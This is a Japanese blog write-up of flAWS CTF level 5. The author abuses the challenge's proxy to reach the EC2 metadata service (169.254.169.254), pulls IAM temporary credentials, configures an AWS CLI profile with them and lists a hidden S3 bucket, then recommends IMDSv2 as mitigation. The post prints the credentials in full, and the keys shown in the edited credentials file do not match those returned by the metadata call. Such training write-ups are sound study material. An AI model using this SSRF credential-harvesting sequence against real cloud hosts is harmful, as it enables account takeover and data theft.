flAWS、レベル5!
ようやくレベル5まで来ました。
全クリまであと少し…!
レベル5の設問は次の通りです。
This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.
目標を確認する
flawsサイトのプロキシを利用して、レベル6バケットのコンテンツを一覧してみるのが最初の目標みたいです。
ちなみに設問の中にあるレベル6バケットにアクセスするとこうなります。
ヒント1で示されているドキュメントをはじめ、いくつか公式ドキュメントを参照してみます。
メタデータにアクセスする
これらのドキュメントによると、ローカルからhttp://169.254.169.254/latest/meta-data/
のようにしてメタデータにアクセスできると書いてあるので、自分のEC2インスタンス上でその通りにやってみます。
[ec2-user@ ~]$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
確かにデータにアクセスできました。
これは自分のインスタンスのメタデータなので、設問に記載されているflawsのプロキシのメタデータを見るために、次のようにします。
[ec2-user@ ~]$curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
ディレクトリ階層を探索することで、クレデンシャル情報を見つけることができます。ここにはキーペアが含まれています。
[ec2-user@ ~]$curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
{
"Code" : "Success",
"LastUpdated" : "2023-04-11T01:12:15Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQG2A4HBA4E",
"SecretAccessKey" : "yDAxDolX9za0Mu5Ojw7StTbAJmM5ADW4zTK2aIns",
"Token" : "IQoJb3JpZ2luX2VjELH//////////wEaCXVzLXdlc3QtMiJHMEUCIQCE+I4tqD4KyBb56jksX/4u5FnB48AXpb+tkGtNcs8SYAIgBP1NQOJqbWZnTseEEiBWmh7742XdtFn4So/mVvqb9g0quwUImv//////////ARADGgw5NzU0MjYyNjIwMjkiDB8lY9AbdxcJHuQgPSqPBVoFIpCXqfzvsmLr1njV8KK87ZuwgD3gnvnl62DWULDQ1ujQXFsq0DQv6g5Q1Db5xydF8BXDRU/ji8fhr6I+2tXytckMOjj1haqMOBhX0L58INy0LpB+o56oynAhW75rOMVX1PxkQcvvXA5AGPZuTESvD6ZHCtcILMT1cj6zrZrexmsh4uPZg59Moe0t31mk0+wq4bJWr/Bbi/k3iHRL7yHiAaioKq32kKBR29B19ep8FRCaszQyvuOo4qK75AUE7B+Gi7AhsnsLuaWm8Nsf9z8e7Rzu5Xd7GivNY6geAN+k0M1SypOH21zS7L0Fzch/B3NiMW5wjpo8eDRj0NEqlxVD8lWlxK5okOdI45VosXZprYB71eP+/QEdqyObWUk4fQSgMLXIvOhw/iqo1Xbz474uur65NPH1TzRwrwcHbrZijqXNOD5UNmkHVlnEtTE5YD69xHlo5NKd3eqoGv4Ro82PUcdv5LGLNceKeP/ZksfMInbqBicUGHvI7MCWUZspkDYdLgf1qS37DFCi7rDXtsW8cxusSZZpTpYcuR407U1LWj+Z0B0VusmA+0zjiJUqHUqfb38XVhADfCwq6fzb9sF2tP3sOjSq3TuOCcXoBZ4CdwJ/+CuKwMGEIm8b8ujf/XD9d+1vET3lnFHRRhSo02tRr2gmxFjdFhXnFQWJMmn/5PJmmQs/LAZ1huLzaKaQIKifS/fnj5ss9+8RGyeQOkRSZ39fwuzgZuEu3L4ST07pgh4vKbh2GX4mfD5MCZKjbDhKaX/myXfaxbg4LirgktA2eU7+JeIRA0YwhmTWdeD8ut31FimCpFe61Wu3dsfmpoKAwiD8E01kpwSrkfrxMFzl8BBHP/2PUd/BNa4+6N0wzOfSoQY6sQH0yvaqnQY9Fc8wLSL/9LumJI3W0m5fms3I/ab5F24PI3mlygqfPN/wC93N8/C1lxOyvW5Rx5wxyxqsygnuRuW9ThU05Taj+GIf+sQMU7hvPC9/bp1XU1iFQny2tt5kV1gMcAKUwFc1RdfGVcOStrGSVS2R1ZnWoiWrGCMlpjcDp2VaAanD/cO+iJPpqt/a3snovdZFg/w5Nlny0U3oBZg93yZVc4eUDEjWFxkWZ3O2a+k=",
"Expiration" : "2023-04-11T07:30:45Z"
プロファイルを作成する
flawsのキーペアが見つかったので、これでAWSプロファイルを作成します。
% aws configure --profile flaws2
AWS Access Key ID [None]: ASIA6GG7PSQG2A4HBA4E
AWS Secret Access Key [None]: yDAxDolX9za0Mu5Ojw7StTbAJmM5ADW4zTK2aIns
Default region name [None]: us-west-2
Default output format [None]: json
この情報にはセッショントークンが必要なので、プロファイルを編集し、aws_session_token
を追加します。
% sudo vi .aws/credentials
[flaws2]
aws_access_key_id = ASIA4GBBUHFEVOWAIAMA
aws_secret_access_key = MQo+vKeC908B+90sSlaCDuSjsmBa/elxrDGBNpn2
aws_session_token = IQoJb3JpZ2luX2VjELH//////////wEaCXVzLXdlc3QtMiJHMEUCIQCE+I4tqD4KyBb56jksX/4u5FnB48AXpb+tkGtNcs8SYAIgBP1NQOJqbWZnTseEEiBWmh7742XdtFn4So/mVvqb9g0quwUImv//////////ARADGgw5NzU0MjYyNjIwMjkiDB8lY9AbdxcJHuQgPSqPBVoFIpCXqfzvsmLr1njV8KK87ZuwgD3gnvnl62DWULDQ1ujQXFsq0DQv6g5Q1Db5xydF8BXDRU/ji8fhr6I+2tXytckMOjj1haqMOBhX0L58INy0LpB+o56oynAhW75rOMVX1PxkQcvvXA5AGPZuTESvD6ZHCtcILMT1cj6zrZrexmsh4uPZg59Moe0t31mk0+wq4bJWr/Bbi/k3iHRL7yHiAaioKq32kKBR29B19ep8FRCaszQyvuOo4qK75AUE7B+Gi7AhsnsLuaWm8Nsf9z8e7Rzu5Xd7GivNY6geAN+k0M1SypOH21zS7L0Fzch/B3NiMW5wjpo8eDRj0NEqlxVD8lWlxK5okOdI45VosXZprYB71eP+/QEdqyObWUk4fQSgMLXIvOhw/iqo1Xbz474uur65NPH1TzRwrwcHbrZijqXNOD5UNmkHVlnEtTE5YD69xHlo5NKd3eqoGv4Ro82PUcdv5LGLNceKeP/ZksfMInbqBicUGHvI7MCWUZspkDYdLgf1qS37DFCi7rDXtsW8cxusSZZpTpYcuR407U1LWj+Z0B0VusmA+0zjiJUqHUqfb38XVhADfCwq6fzb9sF2tP3sOjSq3TuOCcXoBZ4CdwJ/+CuKwMGEIm8b8ujf/XD9d+1vET3lnFHRRhSo02tRr2gmxFjdFhXnFQWJMmn/5PJmmQs/LAZ1huLzaKaQIKifS/fnj5ss9+8RGyeQOkRSZ39fwuzgZuEu3L4ST07pgh4vKbh2GX4mfD5MCZKjbDhKaX/myXfaxbg4LirgktA2eU7+JeIRA0YwhmTWdeD8ut31FimCpFe61Wu3dsfmpoKAwiD8E01kpwSrkfrxMFzl8BBHP/2PUd/BNa4+6N0wzOfSoQY6sQH0yvaqnQY9Fc8wLSL/9LumJI3W0m5fms3I/ab5F24PI3mlygqfPN/wC93N8/C1lxOyvW5Rx5wxyxqsygnuRuW9ThU05Taj+GIf+sQMU7hvPC9/bp1XU1iFQny2tt5kV1gMcAKUwFc1RdfGVcOStrGSVS2R1ZnWoiWrGCMlpjcDp2VaAanD/cO+iJPpqt/a3snovdZFg/w5Nlny0U3oBZg93yZVc4eUDEjWFxkWZ3O2a+k=
見つけたキーペアで作成したこのプロファイルを使えば、レベル6のバケットの中身を見ることができそうです。
ではその通りにやってみます。
% aws --profile flaws2 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
PRE ddcc78ff/
2017-02-27 11:11:07 871 index.html
見れました。
このうちindex.html
は、冒頭の「アクセス拒否」と書かれたページなので、もう一方の怪しいddcc78ff/
にアクセスしてみます。
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
としてブラウザでアクセスすると、レベル6に到達できました。
問題を回避する
169.254.169.254
は、AWS、Azure、Google、DigitalOceanなどクラウドリソースが、自分自身に関するメタデータを調べるために共通して使用するIPアドレスらしいです。(そうなんだ)
AWSの場合「インスタンスメタデータサービス」のIPアドレスが169.254.169.254
であるということです。
今回やったように、EC2からそのアドレスにHTTPリクエストを行うことができれば、部外者であってもメタデータを表示することができてしまいます。
現在AWSでは、セッショントークンを使用した「インスタンスメタデータサービスバージョン2 (IMDSv2)」を使用でき、これを適用することで今回の問題を回避することができます。
Discussion